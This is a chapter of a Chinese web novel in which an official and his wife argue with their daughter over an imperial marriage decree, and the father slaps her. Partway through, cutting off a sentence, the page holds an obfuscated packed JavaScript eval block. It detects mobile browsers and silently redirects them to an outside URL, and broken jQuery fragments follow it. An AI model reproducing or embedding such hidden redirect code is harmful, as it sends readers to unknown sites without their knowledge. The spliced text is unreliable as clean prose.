默认冷灰
24号文字
方正启体

3. 争吵

作者:打折枕头本书字数:K更新时间:
    花日短,春才起。


    原是令人充满希望的季节交替,可老天偏偏还得设个卡,刚收好的夹袄仍需多穿几日,即便是已经尽力缩起拳头,可还觉着冷。


    时间倒回至五天前的晚上。


    略带暖意的烛光仍不能覆盖冷冬残影,微风婆娑卷起地面的枯藤残叶。沁芳园里大门紧闭,人影退散,只有几丝薄窗纸掩不住的声音,从窗缝中出逃来。


    “老爷你看,前几日收拾屋子时,妾身找到什么有趣玩意儿?”


    戌时的梆子刚敲响,元府上下陆续准备歇灯就寝。元明涯今天当值,也不知道怎么回事,政事堂事务尤其繁多,从早到晚都没歇过脚。


    他现在只想早早休息,可冯氏却不知起了哪头的兴致,硬是要同他寻些陈年旧物。


    “夫人,天色已晚,还是早点休息吧。你若是嫌待在府里闷得慌,明日就给你的那些闺中密友递柬一聚,好生聊玩一番。”


    元明涯困得直眯瞪,眼皮就快要耷拉到地上,背靠在多宝阁前身披雪青锦衫的妇人见状,立即展颜一笑。


    她撩了撩胸前一缕垂发,拿着一个碧色锦囊朝他走去:“这是琼华五岁时赠予妾身菖蒲草,这可是她用自己的体己钱买给妾身的,妾身还专门给它定制了锦囊袋,悬在妆匣架上避瘟驱虫呢。”


    “当然记得,锦囊的颜色还是我亲自选的。”元明涯只瞟了一眼就继续解腰带,可腰带却像是专门跟他对着干一样,越解越死。


    冯氏见他手忙脚乱的样子实在搞笑,也不急着帮他,反倒是又从妆匣里翻出一条红绳。


    光彩暗淡的红绳,与匣内其他流光溢彩的玉石宝器格格不入,仔细看就能发现绳子的首尾端都翘起了碎毛,显然是放置多年。


    她轻轻坐到元明涯的旁边,软若无骨的身子一下就贴附在男人身上,幽幽道:“这条红绳还是娘去前,亲手替琼华梳发用的,数来也有六年了。”


    散开的发髻遮挡住了冯氏的半张脸,元明涯只能看到她紧抿的嘴唇和垂坠的睫毛,想来是又思念岳母了。


    元明涯伸手握住冯氏冰凉的手,夜晚取暖的烧火盆还未撤下,可冯氏自小体寒,稍有不慎便容易手脚冰凉。


    他如往常一般捧起冯氏的双手,凑于嘴边呵气,一边呼一边道:“儿女都大了,琼华今年都十六岁了,少琛翻年也到总角[1],早就过了玩闹的年纪。”


    “可无论他们再大,在妾身眼里都是孩子啊!”冯氏一听声音变得更委屈了,她从元明涯的肩膀上抬起头来,眼眶瞬间红透:“妾身与老爷历经千百磨难,如今的幸福来之不易,可还没享几年清福呢,琼儿就要离妾身而去了,又叫我怎能接受呢…”


    冯氏滴滴答答地垂泪,元明涯这才反应过来她此番做派的意义。


    这段日子,城中流传起陛下又要给云麾小将军指婚的消息,联姻对象众说纷纭,直到圣旨下达到家门口,元明涯等人才知道竟是自己家的女儿被宫里看上了。


    一想起当日接旨后人仰马翻的局面,他眉头微蹙,嘴唇动了动,却一时不知如何安慰。


    犹豫片刻,元明涯还是轻柔地将冯氏揽入怀中,劝慰道:“怎不往好处想想,陛下也是瞧得起我们元家,才会安排子孙后代与皇家联姻。加上我才就任参知政事不久,日日辅佐任相处理政务已是繁忙,此等关头可不能再生事。”


    这怎么能叫生事呢!她分明是为了琼儿的婚姻大事着想啊!


    冯氏一时气急,柳眉倒竖的模样恰似被霜打的桃花,举止投足间透着别样韵味。


    “这、这…”


    元明涯当场就被迷得头晕八道,赶忙轻拍着冯氏的背顺气:“不生气不生气,是我说错话了。”


    二人相识近四十载,成亲更是近半。


    当年如果元明涯不是真的喜欢冯氏,也不至于在宁氏死后没多久,就娶了续弦,至今都落人话柄。


    冯氏瞥了眼元明涯担心的神情,明白他这是上钩了,赶紧盖了盖发酸的眼睛,话音一转:“能得陛下指婚自然是我元家喜事,但前提是这婚姻对象是好的才行啊。”


    “云麾小将军是何人?那可是长公主的小儿子,陛下的亲侄子!”


    “全东临谁人不晓陛下忌惮楚家良久。十年前澜沧关一战,战无不胜的楚修岚同大儿子楚珩领兵出征北伐。本是铁板钉钉的胜利,却不知是哪出了问题,不仅二十万大军全军覆没,连陛下寄予厚望的大皇子也不幸殒命。”


    冯氏的声音越来越小,近乎呢喃:“传言楚家早有通敌之兆,二十万大军从启程开始就注定是回不来的…”


    “够了!”元明涯猛地起身,迷瞪的睡意一下子消失殆尽,依靠在其身上的冯氏冷不丁被吓得一抖。


    他厉声喝道:“此类揣测之言以后不准再说了!若是被旁人听去了,我这官帽子是要还是不要!”


    见元明涯一脸怒容,冯氏立刻察觉到他是真生气了,来不及整理好外衣,径直跪下:“老爷息怒,都是妾身爱子心切,一时错言。”


    冯氏认错得快,上身紧紧贴在冰冷的地面,发颤的声音和身躯无一不在显露着她的悔意。元明涯心下怒火顷刻间已是半消,明白她只是一时失言,并非有意。


    不得不说冯氏是极有眼力见,会审时度势的人。二人同床共枕多年,她早已摸清元明涯的秉性,官职生涯是他最为看重的东西,明哲保身自私自利更是贯彻于几十年的仕途宦海中。


    绝对不能出任何差错。


    是她用错方法了。


    元明涯见爱妻惶惶不安的样子,不由叹气,他刚扶冯氏坐到榻上,还没来得及开口安慰,忽地“砰”一声巨响,紧闭的房门被人猛地撞开。


    “爹,娘!我不要嫁给什么黑脸将军!他楚家分明就是东临罪人,我嫁进去无疑是送死!”


    一阵冷风裹挟着来人闯了进来,几缕碎发黏在元琼华因愤怒而涨红的脸颊上,她双目圆瞪,满是不甘与怨愤,高昂的声音更是尖锐至极,就差把房顶给掀了。


    未平多时的怒火瞬间飙起,元明涯猛地朝茶台重重一拍,平日儒雅的样子彻底消失不见。


    “放肆!一个两个的,真当圣旨是儿戏吗!事关元家百年荣辱,岂能由得你胡来!”


    冯氏更是面白如纸,她匆忙朝门外探看,随后又速速关上门:“造孽啊我的儿!如此大声做什么!生怕惹不来人看笑话吗?”


    元琼华本来还因元明涯的怒斥而心颤,但一听冯氏的话就随口愠道:“哪个贱婢敢骂我,立刻发买了去!”


    “其他人不敢,我敢!”


    元明涯又是一声斥责,能看得出,他已经很竭力在压制心中的怒火,可仍耐不住元琼华的行为作态实在太过逾矩。


    “你瞧瞧,这就是你教出来的好女儿!”元明涯脸色阴沉,指着元琼华就开始讨伐冯氏:“成天莽撞冲动,没点名门闺秀的样子。长辈的房间说闯就闯,说进就进,如今还大放厥词,意图爬到我的头上指点来了!”


    “老爷息怒,老爷息怒!琼儿绝对没有此心,一切都是妾身教导无方!”


    冯氏一听更慌了,急忙扑到元明涯的身旁安抚求饶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238931|166222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,疯狂给元琼华使眼色:“愣着做什么,还不赶紧给你爹爹道歉!”


    “道什么歉!我看她一脸忿忿不平,一点都不认为自己有错!虚长的年纪,还没瑶华来的懂事!”


    元琼华原本还因为元明涯的滔天怒火而感到害怕,可她一听到某人的名字,满腔的害怕瞬间化成眸中泪水,刹那夺眶而下。


    “她懂事?那怎么不让她去嫁楚家啊,为什么要牺牲我!”


    “在东临上至八十老妇,下至三岁小儿,是个人都知道楚家次子性格顽劣表里不一,其母长公主又是个吃斋念佛的,老早就不管小儿子死活了,说不定陛下早早就想除之而后——啊!”


    元明涯再也忍不住了,他快步跨至元琼华面前,手臂高高扬起,在她说出更加大逆不道的言论之前,一记响亮的耳光重重地落在了元琼华的脸上。


    这一巴掌来得太过突然,元琼华被打得整个人都歪向一边,素白的脸上迅速浮现出一个鲜红的掌印,“爹…您打我?您居然为了元瑶华打我!”


    “我打的就是你这个忤逆子!”


    元明涯气得发抖,几乎是强忍着从牙缝中吐字。


    “隔墙有耳,你仔细想想方才自己差点都说了些什么。”元明涯胸膛剧烈起伏,阴鸷的眼睛死死盯着元琼华,一家之主的威严尽数散开。


    “那话只有两种人说得,一是哑巴,二…是死人——”


    “琼儿,你告诉我,你是想做哑巴?抑或是让我们全家都一起陪葬找死呢?”


    “你有几条命够处斩的?”


    冯氏在一旁垂头不语,眼底的泪花不知何时变得干涸而冷漠。她心思并不蠢笨,已然明了元明涯此举的意图。


    元明涯乃当今宰相任淮门生之一,多年来深受其照拂,可以说没有任淮的提点,元明涯不可能这么快就能当上参知政事一职,形同副宰。


    而任淮暗地里又与肃阳王一派走得紧密,无论是明面上还是暗地里,元明涯都得紧紧保着他明哲保身的“好”特质。


    绝对不能让人抓到一丝一毫的把柄!


    长痛不如短疼,长远来看,也许早早让琼儿受这一巴掌,明白一荣俱荣、一损俱损的道理,方为良计。


    “爹…”


    元琼华的脸颊依旧火辣辣地疼,看着元明涯因愤怒而扭曲的面庞,一股寒意从脚底直窜入心头,这才后知后觉自己方才究竟头脑发昏到什么地步。


    她双腿开始不受控制地发软,“扑通”一声便跪倒了地上:“爹,娘,琼儿错了,琼儿真的知错了…可琼儿也是无辜的啊,琼儿也想在您和娘的身边多待几年,实在不愿就这么…这么,嫁了。”


    稚嫩的少女哭腔让人又惜又怜,再加上脸上红肿的巴掌印,元明涯知道多少是有些冲动了。


    责于子行,疚于父怀;训在儿前,苦在父间。


    他又怎么会不疼爱自己与冯氏的嫡亲女儿啊,琼儿一时想不明白很正常,可他身为元家家主,自然是要以大局为重。


    “咚——咚——咚——”


    城内,更夫的打更声悠悠传来,沁芳园很快又恢复了往日的平静。冬春交替的夜,摇曳不定的烛火“噼里啪啦”掉着蜡油,空气中似乎还残留着争吵时的余温。


    僵持不下之际,冯氏整理好心情,她不去看一旁还在委屈哭泣,只会做无用功的女儿,而是微微抬手整理了下鬓边的青丝,一抹似有若无的微笑很快挂于嘴角之上。


    “如若妾身有法子,可以解老爷心头之困呢?”


    “这家中待嫁之人,可不止琼儿一个…”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)